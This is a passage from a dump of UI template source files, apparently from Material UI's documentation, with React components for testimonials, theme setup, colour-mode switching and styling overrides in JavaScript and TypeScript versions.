'https://assets-global.website-files.com/61ed56ae9da9fd7e0ef0a967/61f12e911fa22f2203d7514c_TerraDark.svg',\n  'https://assets-global.website-files.com/61ed56ae9da9fd7e0ef0a967/6560a0990f3717787fd49245_colorado-black.svg',\n  'https://assets-global.website-files.com/61ed56ae9da9fd7e0ef0a967/655f5ca4e548b0deb1041c33_Ankara-black.svg',\n];\n\nconst logoStyle = {\n  width: '64px',\n  opacity: 0.3,\n};\n\nexport default function Testimonials() {\n  const { mode, systemMode } = useColorScheme();\n\n  let logos;\n  if (mode === 'system') {\n    if (systemMode === 'light') {\n      logos = lightModeLogos;\n    } else {\n      logos = darkModeLogos;\n    }\n  } else if (mode === 'light') {\n    logos = lightModeLogos;\n  } else {\n    logos = darkModeLogos;\n  }\n\n  return (\n    <Container\n      id=\"testimonials\"\n      sx={{\n        pt: { xs: 4, sm: 12 },\n        pb: { xs: 8, sm: 16 },\n        position: 'relative',\n        display: 'flex',\n        flexDirection: 'column',\n        alignItems: 'center',\n        gap: { xs: 3, sm: 6 },\n      }}\n    >\n      <Box\n        sx={{\n          width: { sm: '100%', md: '60%' },\n          textAlign: { sm: 'left', md: 'center' },\n        }}\n      >\n        <Typography\n          component=\"h2\"\n          variant=\"h4\"\n          gutterBottom\n          sx={{ color: 'text.primary' }}\n        >\n          Testimonials\n        </Typography>\n        <Typography variant=\"body1\" sx={{ color: 'text.secondary' }}>\n          See what our customers love about our products. Discover how we excel in\n          efficiency, durability, and satisfaction. Join us for quality, innovation,\n          and reliable support.\n        </Typography>\n      </Box>\n      <Grid container spacing={2}>\n        {userTestimonials.map((testimonial, index) => (\n          <Grid size={{ xs: 12, sm: 6, md: 4 }} key={index} sx={{ display: 'flex' }}>\n            <Card\n              variant=\"outlined\"\n              sx={{\n                display: 'flex',\n                flexDirection: 'column',\n                justifyContent: 'space-between',\n                flexGrow: 1,\n              }}\n            >\n              <CardContent>\n                <Typography\n                  variant=\"body1\"\n                  gutterBottom\n                  sx={{ color: 'text.secondary' }}\n                >\n                  {testimonial.testimonial}\n                </Typography>\n              </CardContent>\n              <Box\n                sx={{\n                  display: 'flex',\n                  flexDirection: 'row',\n                  justifyContent: 'space-between',\n                }}\n              >\n                <CardHeader\n                  avatar={testimonial.avatar}\n                  title={testimonial.name}\n                  subheader={testimonial.occupation}\n                />\n                <img\n                  src={logos[index]}\n                  alt={`Logo ${index + 1}`}\n                  style={logoStyle}\n                />\n              </Box>\n            </Card>\n          </Grid>\n        ))}\n      </Grid>\n    </Container>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/marketing-page/components/Testimonials.tsx",
    "content": "import Card from '@mui/material/Card';\nimport CardHeader from '@mui/material/CardHeader';\nimport CardContent from '@mui/material/CardContent';\nimport Avatar from '@mui/material/Avatar';\nimport Typography from '@mui/material/Typography';\nimport Box from '@mui/material/Box';\nimport Container from '@mui/material/Container';\nimport Grid from '@mui/material/Grid';\nimport { useColorScheme } from '@mui/material/styles';\n\nconst userTestimonials = [\n  {\n    avatar: <Avatar alt=\"Remy Sharp\" src=\"/static/images/avatar/1.jpg\" />,\n    name: 'Remy Sharp',\n    occupation: 'Senior Engineer',\n    testimonial:\n      \"I absolutely love how versatile this product is! Whether I'm tackling work projects or indulging in my favorite hobbies, it seamlessly adapts to my changing needs. Its intuitive design has truly enhanced my daily routine, making tasks more efficient and enjoyable.\",\n  },\n  {\n    avatar: <Avatar alt=\"Travis Howard\" src=\"/static/images/avatar/2.jpg\" />,\n    name: 'Travis Howard',\n    occupation: 'Lead Product Designer',\n    testimonial:\n      \"One of the standout features of this product is the exceptional customer support. In my experience, the team behind this product has been quick to respond and incredibly helpful. It's reassuring to know that they stand firmly behind their product.\",\n  },\n  {\n    avatar: <Avatar alt=\"Cindy Baker\" src=\"/static/images/avatar/3.jpg\" />,\n    name: 'Cindy Baker',\n    occupation: 'CTO',\n    testimonial:\n      'The level of simplicity and user-friendliness in this product has significantly simplified my life. I appreciate the creators for delivering a solution that not only meets but exceeds user expectations.',\n  },\n  {\n    avatar: <Avatar alt=\"Remy Sharp\" src=\"/static/images/avatar/4.jpg\" />,\n    name: 'Julia Stewart',\n    occupation: 'Senior Engineer',\n    testimonial:\n      \"I appreciate the attention to detail in the design of this product. The small touches make a big difference, and it's evident that the creators focused on delivering a premium experience.\",\n  },\n  {\n    avatar: <Avatar alt=\"Travis Howard\" src=\"/static/images/avatar/5.jpg\" />,\n    name: 'John Smith',\n    occupation: 'Product Designer',\n    testimonial:\n      \"I've tried other similar products, but this one stands out for its innovative features. It's clear that the makers put a lot of thought into creating a solution that truly addresses user needs.\",\n  },\n  {\n    avatar: <Avatar alt=\"Cindy Baker\" src=\"/static/images/avatar/6.jpg\" />,\n    name: 'Daniel Wolf',\n    occupation: 'CDO',\n    testimonial:\n      \"The quality of this product exceeded my expectations. It's durable, well-designed, and built to last. Definitely worth the investment!\",\n  },\n];\n\nconst darkModeLogos = [\n  'https://assets-global.website-files.com/61ed56ae9da9fd7e0ef0a967/6560628e8573c43893fe0ace_Sydney-white.svg',\n  'https://assets-global.website-files.com/61ed56ae9da9fd7e0ef0a967/655f4d520d0517ae8e8ddf13_Bern-white.svg',\n  'https://assets-global.website-files.com/61ed56ae9da9fd7e0ef0a967/655f46794c159024c1af6d44_Montreal-white.svg',\n  'https://assets-global.website-files.com/61ed56ae9da9fd7e0ef0a967/61f12e891fa22f89efd7477a_TerraLight.svg',\n  'https://assets-global.website-files.com/61ed56ae9da9fd7e0ef0a967/6560a09d1f6337b1dfed14ab_colorado-white.svg',\n  'https://assets-global.website-files.com/61ed56ae9da9fd7e0ef0a967/655f5caa77bf7d69fb78792e_Ankara-white.svg',\n];\n\nconst lightModeLogos = [\n  'https://assets-global.website-files.com/61ed56ae9da9fd7e0ef0a967/6560628889c3bdf1129952dc_Sydney-black.svg',\n  'https://assets-global.website-files.com/61ed56ae9da9fd7e0ef0a967/655f4d4d8b829a89976a419c_Bern-black.svg',\n  'https://assets-global.website-files.com/61ed56ae9da9fd7e0ef0a967/655f467502f091ccb929529d_Montreal-black.svg',\n  'https://assets-global.website-files.com/61ed56ae9da9fd7e0ef0a967/61f12e911fa22f2203d7514c_TerraDark.svg',\n  'https://assets-global.website-files.com/61ed56ae9da9fd7e0ef0a967/6560a0990f3717787fd49245_colorado-black.svg',\n  'https://assets-global.website-files.com/61ed56ae9da9fd7e0ef0a967/655f5ca4e548b0deb1041c33_Ankara-black.svg',\n];\n\nconst logoStyle = {\n  width: '64px',\n  opacity: 0.3,\n};\n\nexport default function Testimonials() {\n  const { mode, systemMode } = useColorScheme();\n\n  let logos;\n  if (mode === 'system') {\n    if (systemMode === 'light') {\n      logos = lightModeLogos;\n    } else {\n      logos = darkModeLogos;\n    }\n  } else if (mode === 'light') {\n    logos = lightModeLogos;\n  } else {\n    logos = darkModeLogos;\n  }\n\n  return (\n    <Container\n      id=\"testimonials\"\n      sx={{\n        pt: { xs: 4, sm: 12 },\n        pb: { xs: 8, sm: 16 },\n        position: 'relative',\n        display: 'flex',\n        flexDirection: 'column',\n        alignItems: 'center',\n        gap: { xs: 3, sm: 6 },\n      }}\n    >\n      <Box\n        sx={{\n          width: { sm: '100%', md: '60%' },\n          textAlign: { sm: 'left', md: 'center' },\n        }}\n      >\n        <Typography\n          component=\"h2\"\n          variant=\"h4\"\n          gutterBottom\n          sx={{ color: 'text.primary' }}\n        >\n          Testimonials\n        </Typography>\n        <Typography variant=\"body1\" sx={{ color: 'text.secondary' }}>\n          See what our customers love about our products. Discover how we excel in\n          efficiency, durability, and satisfaction. Join us for quality, innovation,\n          and reliable support.\n        </Typography>\n      </Box>\n      <Grid container spacing={2}>\n        {userTestimonials.map((testimonial, index) => (\n          <Grid size={{ xs: 12, sm: 6, md: 4 }} key={index} sx={{ display: 'flex' }}>\n            <Card\n              variant=\"outlined\"\n              sx={{\n                display: 'flex',\n                flexDirection: 'column',\n                justifyContent: 'space-between',\n                flexGrow: 1,\n              }}\n            >\n              <CardContent>\n                <Typography\n                  variant=\"body1\"\n                  gutterBottom\n                  sx={{ color: 'text.secondary' }}\n                >\n                  {testimonial.testimonial}\n                </Typography>\n              </CardContent>\n              <Box\n                sx={{\n                  display: 'flex',\n                  flexDirection: 'row',\n                  justifyContent: 'space-between',\n                }}\n              >\n                <CardHeader\n                  avatar={testimonial.avatar}\n                  title={testimonial.name}\n                  subheader={testimonial.occupation}\n                />\n                <img\n                  src={logos[index]}\n                  alt={`Logo ${index + 1}`}\n                  style={logoStyle}\n                />\n              </Box>\n            </Card>\n          </Grid>\n        ))}\n      </Grid>\n    </Container>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/shared-theme/AppTheme.js",
    "content": "import * as React from 'react';\nimport PropTypes from 'prop-types';\nimport { ThemeProvider, createTheme } from '@mui/material/styles';\n\nimport { inputsCustomizations } from './customizations/inputs';\nimport { dataDisplayCustomizations } from './customizations/dataDisplay';\nimport { feedbackCustomizations } from './customizations/feedback';\nimport { navigationCustomizations } from './customizations/navigation';\nimport { surfacesCustomizations } from './customizations/surfaces';\nimport { colorSchemes, typography, shadows, shape } from './themePrimitives';\n\nfunction AppTheme(props) {\n  const { children, disableCustomTheme, themeComponents } = props;\n  const theme = React.useMemo(() => {\n    return disableCustomTheme\n      ? {}\n      : createTheme({\n          // For more details about CSS variables configuration, see https://mui.com/material-ui/customization/css-theme-variables/configuration/\n          cssVariables: {\n            colorSchemeSelector: 'data-mui-color-scheme',\n            cssVarPrefix: 'template',\n          },\n          colorSchemes, // Recently added in v6 for building light & dark mode app, see https://mui.com/material-ui/customization/palette/#color-schemes\n          typography,\n          shadows,\n          shape,\n          components: {\n            ...inputsCustomizations,\n            ...dataDisplayCustomizations,\n            ...feedbackCustomizations,\n            ...navigationCustomizations,\n            ...surfacesCustomizations,\n            ...themeComponents,\n          },\n        });\n  }, [disableCustomTheme, themeComponents]);\n  if (disableCustomTheme) {\n    return <React.Fragment>{children}</React.Fragment>;\n  }\n  return (\n    <ThemeProvider theme={theme} disableTransitionOnChange>\n      {children}\n    </ThemeProvider>\n  );\n}\n\nAppTheme.propTypes = {\n  children: PropTypes.node,\n  /**\n   * This is for the docs site. You can ignore it or remove it.\n   */\n  disableCustomTheme: PropTypes.bool,\n  themeComponents: PropTypes.object,\n};\n\nexport default AppTheme;\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/shared-theme/AppTheme.tsx",
    "content": "import * as React from 'react';\nimport { ThemeProvider, createTheme } from '@mui/material/styles';\nimport type { ThemeOptions } from '@mui/material/styles';\nimport { inputsCustomizations } from './customizations/inputs';\nimport { dataDisplayCustomizations } from './customizations/dataDisplay';\nimport { feedbackCustomizations } from './customizations/feedback';\nimport { navigationCustomizations } from './customizations/navigation';\nimport { surfacesCustomizations } from './customizations/surfaces';\nimport { colorSchemes, typography, shadows, shape } from './themePrimitives';\n\ninterface AppThemeProps {\n  children: React.ReactNode;\n  /**\n   * This is for the docs site. You can ignore it or remove it.\n   */\n  disableCustomTheme?: boolean;\n  themeComponents?: ThemeOptions['components'];\n}\n\nexport default function AppTheme(props: AppThemeProps) {\n  const { children, disableCustomTheme, themeComponents } = props;\n  const theme = React.useMemo(() => {\n    return disableCustomTheme\n      ? {}\n      : createTheme({\n          // For more details about CSS variables configuration, see https://mui.com/material-ui/customization/css-theme-variables/configuration/\n          cssVariables: {\n            colorSchemeSelector: 'data-mui-color-scheme',\n            cssVarPrefix: 'template',\n          },\n          colorSchemes, // Recently added in v6 for building light & dark mode app, see https://mui.com/material-ui/customization/palette/#color-schemes\n          typography,\n          shadows,\n          shape,\n          components: {\n            ...inputsCustomizations,\n            ...dataDisplayCustomizations,\n            ...feedbackCustomizations,\n            ...navigationCustomizations,\n            ...surfacesCustomizations,\n            ...themeComponents,\n          },\n        });\n  }, [disableCustomTheme, themeComponents]);\n  if (disableCustomTheme) {\n    return <React.Fragment>{children}</React.Fragment>;\n  }\n  return (\n    <ThemeProvider theme={theme} disableTransitionOnChange>\n      {children}\n    </ThemeProvider>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/shared-theme/ColorModeIconDropdown.js",
    "content": "import * as React from 'react';\nimport DarkModeIcon from '@mui/icons-material/DarkModeRounded';\nimport LightModeIcon from '@mui/icons-material/LightModeRounded';\nimport Box from '@mui/material/Box';\nimport IconButton from '@mui/material/IconButton';\nimport Menu from '@mui/material/Menu';\nimport MenuItem from '@mui/material/MenuItem';\nimport { useColorScheme } from '@mui/material/styles';\n\nexport default function ColorModeIconDropdown(props) {\n  const { mode, systemMode, setMode } = useColorScheme();\n  const [anchorEl, setAnchorEl] = React.useState(null);\n  const open = Boolean(anchorEl);\n  const handleClick = (event) => {\n    setAnchorEl(event.currentTarget);\n  };\n  const handleClose = () => {\n    setAnchorEl(null);\n  };\n  const handleMode = (targetMode) => () => {\n    setMode(targetMode);\n    handleClose();\n  };\n  if (!mode) {\n    return (\n      <Box\n        data-screenshot=\"toggle-mode\"\n        sx={(theme) => ({\n          verticalAlign: 'bottom',\n          display: 'inline-flex',\n          width: '2.25rem',\n          height: '2.25rem',\n          borderRadius: (theme.vars || theme).shape.borderRadius,\n          border: '1px solid',\n          borderColor: (theme.vars || theme).palette.divider,\n        })}\n      />\n    );\n  }\n  const resolvedMode = systemMode || mode;\n  const icon = {\n    light: <LightModeIcon />,\n    dark: <DarkModeIcon />,\n  }[resolvedMode];\n  return (\n    <React.Fragment>\n      <IconButton\n        data-screenshot=\"toggle-mode\"\n        onClick={handleClick}\n        disableRipple\n        size=\"small\"\n        aria-controls={open ? 'color-scheme-menu' : undefined}\n        aria-haspopup=\"true\"\n        aria-expanded={open ? 'true' : undefined}\n        {...props}\n      >\n        {icon}\n      </IconButton>\n      <Menu\n        anchorEl={anchorEl}\n        id=\"account-menu\"\n        open={open}\n        onClose={handleClose}\n        onClick={handleClose}\n        slotProps={{\n          paper: {\n            variant: 'outlined',\n            elevation: 0,\n            sx: {\n              my: '4px',\n            },\n          },\n        }}\n        transformOrigin={{ horizontal: 'right', vertical: 'top' }}\n        anchorOrigin={{ horizontal: 'right', vertical: 'bottom' }}\n      >\n        <MenuItem selected={mode === 'system'} onClick={handleMode('system')}>\n          System\n        </MenuItem>\n        <MenuItem selected={mode === 'light'} onClick={handleMode('light')}>\n          Light\n        </MenuItem>\n        <MenuItem selected={mode === 'dark'} onClick={handleMode('dark')}>\n          Dark\n        </MenuItem>\n      </Menu>\n    </React.Fragment>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/shared-theme/ColorModeIconDropdown.tsx",
    "content": "import * as React from 'react';\nimport DarkModeIcon from '@mui/icons-material/DarkModeRounded';\nimport LightModeIcon from '@mui/icons-material/LightModeRounded';\nimport Box from '@mui/material/Box';\nimport IconButton, { IconButtonOwnProps } from '@mui/material/IconButton';\nimport Menu from '@mui/material/Menu';\nimport MenuItem from '@mui/material/MenuItem';\nimport { useColorScheme } from '@mui/material/styles';\n\nexport default function ColorModeIconDropdown(props: IconButtonOwnProps) {\n  const { mode, systemMode, setMode } = useColorScheme();\n  const [anchorEl, setAnchorEl] = React.useState<null | HTMLElement>(null);\n  const open = Boolean(anchorEl);\n  const handleClick = (event: React.MouseEvent<HTMLElement>) => {\n    setAnchorEl(event.currentTarget);\n  };\n  const handleClose = () => {\n    setAnchorEl(null);\n  };\n  const handleMode = (targetMode: 'system' | 'light' | 'dark') => () => {\n    setMode(targetMode);\n    handleClose();\n  };\n  if (!mode) {\n    return (\n      <Box\n        data-screenshot=\"toggle-mode\"\n        sx={(theme) => ({\n          verticalAlign: 'bottom',\n          display: 'inline-flex',\n          width: '2.25rem',\n          height: '2.25rem',\n          borderRadius: (theme.vars || theme).shape.borderRadius,\n          border: '1px solid',\n          borderColor: (theme.vars || theme).palette.divider,\n        })}\n      />\n    );\n  }\n  const resolvedMode = (systemMode || mode) as 'light' | 'dark';\n  const icon = {\n    light: <LightModeIcon />,\n    dark: <DarkModeIcon />,\n  }[resolvedMode];\n  return (\n    <React.Fragment>\n      <IconButton\n        data-screenshot=\"toggle-mode\"\n        onClick={handleClick}\n        disableRipple\n        size=\"small\"\n        aria-controls={open ? 'color-scheme-menu' : undefined}\n        aria-haspopup=\"true\"\n        aria-expanded={open ? 'true' : undefined}\n        {...props}\n      >\n        {icon}\n      </IconButton>\n      <Menu\n        anchorEl={anchorEl}\n        id=\"account-menu\"\n        open={open}\n        onClose={handleClose}\n        onClick={handleClose}\n        slotProps={{\n          paper: {\n            variant: 'outlined',\n            elevation: 0,\n            sx: {\n              my: '4px',\n            },\n          },\n        }}\n        transformOrigin={{ horizontal: 'right', vertical: 'top' }}\n        anchorOrigin={{ horizontal: 'right', vertical: 'bottom' }}\n      >\n        <MenuItem selected={mode === 'system'} onClick={handleMode('system')}>\n          System\n        </MenuItem>\n        <MenuItem selected={mode === 'light'} onClick={handleMode('light')}>\n          Light\n        </MenuItem>\n        <MenuItem selected={mode === 'dark'} onClick={handleMode('dark')}>\n          Dark\n        </MenuItem>\n      </Menu>\n    </React.Fragment>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/shared-theme/ColorModeSelect.js",
    "content": "import { useColorScheme } from '@mui/material/styles';\nimport MenuItem from '@mui/material/MenuItem';\nimport Select from '@mui/material/Select';\n\nexport default function ColorModeSelect(props) {\n  const { mode, setMode } = useColorScheme();\n  if (!mode) {\n    return null;\n  }\n  return (\n    <Select\n      value={mode}\n      onChange={(event) => setMode(event.target.value)}\n      SelectDisplayProps={{\n        'data-screenshot': 'toggle-mode',\n      }}\n      {...props}\n    >\n      <MenuItem value=\"system\">System</MenuItem>\n      <MenuItem value=\"light\">Light</MenuItem>\n      <MenuItem value=\"dark\">Dark</MenuItem>\n    </Select>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/shared-theme/ColorModeSelect.tsx",
    "content": "import { useColorScheme } from '@mui/material/styles';\nimport MenuItem from '@mui/material/MenuItem';\nimport Select, { SelectProps } from '@mui/material/Select';\n\nexport default function ColorModeSelect(props: SelectProps) {\n  const { mode, setMode } = useColorScheme();\n  if (!mode) {\n    return null;\n  }\n  return (\n    <Select\n      value={mode}\n      onChange={(event) =>\n        setMode(event.target.value as 'system' | 'light' | 'dark')\n      }\n      SelectDisplayProps={{\n        // @ts-ignore\n        'data-screenshot': 'toggle-mode',\n      }}\n      {...props}\n    >\n      <MenuItem value=\"system\">System</MenuItem>\n      <MenuItem value=\"light\">Light</MenuItem>\n      <MenuItem value=\"dark\">Dark</MenuItem>\n    </Select>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/shared-theme/customizations/dataDisplay.js",
    "content": "import { alpha } from '@mui/material/styles';\nimport { svgIconClasses } from '@mui/material/SvgIcon';\nimport { typographyClasses } from '@mui/material/Typography';\nimport { buttonBaseClasses } from '@mui/material/ButtonBase';\nimport { chipClasses } from '@mui/material/Chip';\nimport { iconButtonClasses } from '@mui/material/IconButton';\nimport { gray, red, green } from '../themePrimitives';\n\n/* eslint-disable import/prefer-default-export */\nexport const dataDisplayCustomizations = {\n  MuiList: {\n    styleOverrides: {\n      root: {\n        padding: '8px',\n        display: 'flex',\n        flexDirection: 'column',\n        gap: 0,\n      },\n    },\n  },\n  MuiListItem: {\n    styleOverrides: {\n      root: ({ theme }) => ({\n        [`& .${svgIconClasses.root}`]: {\n          width: '1rem',\n          height: '1rem',\n          color: (theme.vars || theme).palette.text.secondary,\n        },\n        [`& .${typographyClasses.root}`]: {\n          fontWeight: 500,\n        },\n        [`& .${buttonBaseClasses.root}`]: {\n          display: 'flex',\n          gap: 8,\n          padding: '2px 8px',\n          borderRadius: (theme.vars || theme).shape.borderRadius,\n          opacity: 0.7,\n          '&.Mui-selected': {\n            opacity: 1,\n            backgroundColor: alpha(theme.palette.action.selected, 0.3),\n            [`& .${svgIconClasses.root}`]: {\n              color: (theme.vars || theme).palette.text.primary,\n            },\n            '&:focus-visible': {\n              backgroundColor: alpha(theme.palette.action.selected, 0.3),\n            },\n            '&:hover': {\n              backgroundColor: alpha(theme.palette.action.selected, 0.5),\n            },\n          },\n          '&:focus-visible': {\n            backgroundColor: 'transparent',\n          },\n        },\n      }),\n    },\n  },\n  MuiListItemText: {\n    styleOverrides: {\n      primary: ({ theme }) => ({\n        fontSize: theme.typography.body2.fontSize,\n        fontWeight: 500,\n        lineHeight: theme.typography.body2.lineHeight,\n      }),\n      secondary: ({ theme }) => ({\n        fontSize: theme.typography.caption.fontSize,\n        lineHeight: theme.typography.caption.lineHeight,\n      }),\n    },\n  },\n  MuiListSubheader: {\n    styleOverrides: {\n      root: ({ theme }) => ({\n        backgroundColor: 'transparent',\n        padding: '4px 8px',\n        fontSize: theme.typography.caption.fontSize,\n        fontWeight: 500,\n        lineHeight: theme.typography.caption.lineHeight,\n      }),\n    },\n  },\n  MuiListItemIcon: {\n    styleOverrides: {\n      root: {\n        minWidth: 0,\n      },\n    },\n  },\n  MuiChip: {\n    defaultProps: {\n      size: 'small',\n    },\n    styleOverrides: {\n      root: ({ theme }) => ({\n        border: '1px solid',\n        borderRadius: '999px',\n        [`& .${chipClasses.label}`]: {\n          fontWeight: 600,\n        },\n        variants: [\n          {\n            props: {\n              color: 'default',\n            },\n            style: {\n              borderColor: gray[200],\n              backgroundColor: gray[100],\n              [`& .${chipClasses.label}`]: {\n                color: gray[500],\n              },\n              [`& .${chipClasses.icon}`]: {\n                color: gray[500],\n              },\n              ...theme.applyStyles('dark', {\n                borderColor: gray[700],\n                backgroundColor: gray[800],\n                [`& .${chipClasses.label}`]: {\n                  color: gray[300],\n                },\n                [`& .${chipClasses.icon}`]: {\n                  color: gray[300],\n                },\n              }),\n            },\n          },\n          {\n            props: {\n              color: 'success',\n            },\n            style: {\n              borderColor: green[200],\n              backgroundColor: green[50],\n              [`& .${chipClasses.label}`]: {\n                color: green[500],\n              },\n              [`& .${chipClasses.icon}`]: {\n                color: green[500],\n              },\n              ...theme.applyStyles('dark', {\n                borderColor: green[800],\n                backgroundColor: green[900],\n                [`& .${chipClasses.label}`]: {\n                  color: green[300],\n                },\n                [`& .${chipClasses.icon}`]: {\n                  color: green[300],\n                },\n              }),\n            },\n          },\n          {\n            props: {\n              color: 'error',\n            },\n            style: {\n              borderColor: red[100],\n              backgroundColor: red[50],\n              [`& .${chipClasses.label}`]: {\n                color: red[500],\n              },\n              [`& .${chipClasses.icon}`]: {\n                color: red[500],\n              },\n              ...theme.applyStyles('dark', {\n                borderColor: red[800],\n                backgroundColor: red[900],\n                [`& .${chipClasses.label}`]: {\n                  color: red[200],\n                },\n                [`& .${chipClasses.icon}`]: {\n                  color: red[300],\n                },\n              }),\n            },\n          },\n          {\n            props: { size: 'small' },\n            style: {\n              maxHeight: 20,\n              [`& .${chipClasses.label}`]: {\n                fontSize: theme.typography.caption.fontSize,\n              },\n              [`& .${svgIconClasses.root}`]: {\n                fontSize: theme.typography.caption.fontSize,\n              },\n            },\n          },\n          {\n            props: { size: 'medium' },\n            style: {\n              [`& .${chipClasses.label}`]: {\n                fontSize: theme.typography.caption.fontSize,\n              },\n            },\n          },\n        ],\n      }),\n    },\n  },\n  MuiTablePagination: {\n    styleOverrides: {\n      actions: {\n        display: 'flex',\n        gap: 8,\n        marginRight: 6,\n        [`& .${iconButtonClasses.root}`]: {\n          minWidth: 0,\n          width: 36,\n          height: 36,\n        },\n      },\n    },\n  },\n  MuiIcon: {\n    defaultProps: {\n      fontSize: 'small',\n    },\n    styleOverrides: {\n      root: {\n        variants: [\n          {\n            props: {\n              fontSize: 'small',\n            },\n            style: {\n              fontSize: '1rem',\n            },\n          },\n        ],\n      },\n    },\n  },\n};\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/shared-theme/customizations/dataDisplay.tsx",
    "content": "import { Theme, alpha, Components } from '@mui/material/styles';\nimport { svgIconClasses } from '@mui/material/SvgIcon';\nimport { typographyClasses } from '@mui/material/Typography';\nimport { buttonBaseClasses } from '@mui/material/ButtonBase';\nimport { chipClasses } from '@mui/material/Chip';\nimport { iconButtonClasses } from '@mui/material/IconButton';\nimport { gray, red, green } from '../themePrimitives';\n\n/* eslint-disable import/prefer-default-export */\nexport const dataDisplayCustomizations: Components<Theme> = {\n  MuiList: {\n    styleOverrides: {\n      root: {\n        padding: '8px',\n        display: 'flex',\n        flexDirection: 'column',\n        gap: 0,\n      },\n    },\n  },\n  MuiListItem: {\n    styleOverrides: {\n      root: ({ theme }) => ({\n        [`& .${svgIconClasses.root}`]: {\n          width: '1rem',\n          height: '1rem',\n          color: (theme.vars || theme).palette.text.secondary,\n        },\n        [`& .${typographyClasses.root}`]: {\n          fontWeight: 500,\n        },\n        [`& .${buttonBaseClasses.root}`]: {\n          display: 'flex',\n          gap: 8,\n          padding: '2px 8px',\n          borderRadius: (theme.vars || theme).shape.borderRadius,\n          opacity: 0.7,\n          '&.Mui-selected': {\n            opacity: 1,\n            backgroundColor: alpha(theme.palette.action.selected, 0.3),\n            [`& .${svgIconClasses.root}`]: {\n              color: (theme.vars || theme).palette.text.primary,\n            },\n            '&:focus-visible': {\n              backgroundColor: alpha(theme.palette.action.selected, 0.3),\n            },\n            '&:hover': {\n              backgroundColor: alpha(theme.palette.action.selected, 0.5),\n            },\n          },\n          '&:focus-visible': {\n            backgroundColor: 'transparent',\n          },\n        },\n      }),\n    },\n  },\n  MuiListItemText: {\n    styleOverrides: {\n      primary: ({ theme }) => ({\n        fontSize: theme.typography.body2.fontSize,\n        fontWeight: 500,\n        lineHeight: theme.typography.body2.lineHeight,\n      }),\n      secondary: ({ theme }) => ({\n        fontSize: theme.typography.caption.fontSize,\n        lineHeight: theme.typography.caption.lineHeight,\n      }),\n    },\n  },\n  MuiListSubheader: {\n    styleOverrides: {\n      root: ({ theme }) => ({\n        backgroundColor: 'transparent',\n        padding: '4px 8px',\n        fontSize: theme.typography.caption.fontSize,\n        fontWeight: 500,\n        lineHeight: theme.typography.caption.lineHeight,\n      }),\n    },\n  },\n  MuiListItemIcon: {\n    styleOverrides: {\n      root: {\n        minWidth: 0,\n      },\n    },\n  },\n  MuiChip: {\n    defaultProps: {\n      size: 'small',\n    },\n    styleOverrides: {\n      root: ({ theme }) => ({\n        border: '1px solid',\n        borderRadius: '999px',\n        [`& .${chipClasses.label}`]: {\n          fontWeight: 600,\n        },\n        variants: [\n          {\n            props: {\n              color: 'default',\n            },\n            style: {\n              borderColor: gray[200],\n              backgroundColor: gray[100],\n              [`& .${chipClasses.label}`]: {\n                color: gray[500],\n              },\n              [`& .${chipClasses.icon}`]: {\n                color: gray[500],\n              },\n              ...theme.applyStyles('dark', {\n                borderColor: gray[700],\n                backgroundColor: gray[800],\n                [`& .${chipClasses.label}`]: {\n                  color: gray[300],\n                },\n                [`& .${chipClasses.icon}`]: {\n                  color: gray[300],\n                },\n              }),\n            },\n          },\n          {\n            props: {\n              color: 'success',\n            },\n            style: {\n              borderColor: green[200],\n              backgroundColor: green[50],\n              [`& .${chipClasses.label}`]: {\n                color: green[500],\n              },\n              [`& .${chipClasses.icon}`]: {\n                color: green[500],\n              },\n              ...theme.applyStyles('dark', {\n                borderColor: green[800],\n                backgroundColor: green[900],\n                [`& .${chipClasses.label}`]: {\n                  color: green[300],\n                },\n                [`& .${chipClasses.icon}`]: {\n                  color: green[300],\n                },\n              }),\n            },\n          },\n          {\n            props: {\n              color: 'error',\n            },\n            style: {\n              borderColor: red[100],\n              backgroundColor: red[50],\n              [`& .${chipClasses.label}`]: {\n                color: red[500],\n              },\n              [`& .${chipClasses.icon}`]: {\n                color: red[500],\n              },\n              ...theme.applyStyles('dark', {\n                borderColor: red[800],\n                backgroundColor: red[900],\n                [`& .${chipClasses.label}`]: {\n                  color: red[200],\n                },\n                [`& .${chipClasses.icon}`]: {\n                  color: red[300],\n                },\n              }),\n            },\n          },\n          {\n            props: { size: 'small' },\n            style: {\n              maxHeight: 20,\n              [`& .${chipClasses.label}`]: {\n                fontSize: theme.typography.caption.fontSize,\n              },\n              [`& .${svgIconClasses.root}`]: {\n                fontSize: theme.typography.caption.fontSize,\n              },\n            },\n          },\n          {\n            props: { size: 'medium' },\n            style: {\n              [`& .${chipClasses.label}`]: {\n                fontSize: theme.typography.caption.fontSize,\n              },\n            },\n          },\n        ],\n      }),\n    },\n  },\n  MuiTablePagination: {\n    styleOverrides: {\n      actions: {\n        display: 'flex',\n        gap: 8,\n        marginRight: 6,\n        [`& .${iconButtonClasses.root}`]: {\n          minWidth: 0,\n          width: 36,\n          height: 36,\n        },\n      },\n    },\n  },\n  MuiIcon: {\n    defaultProps: {\n      fontSize: 'small',\n    },\n    styleOverrides: {\n      root: {\n        variants: [\n          {\n            props: {\n              fontSize: 'small',\n            },\n            style: {\n              fontSize: '1rem',\n            },\n          },\n        ],\n      },\n    },\n  },\n};\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/shared-theme/customizations/feedback.js",
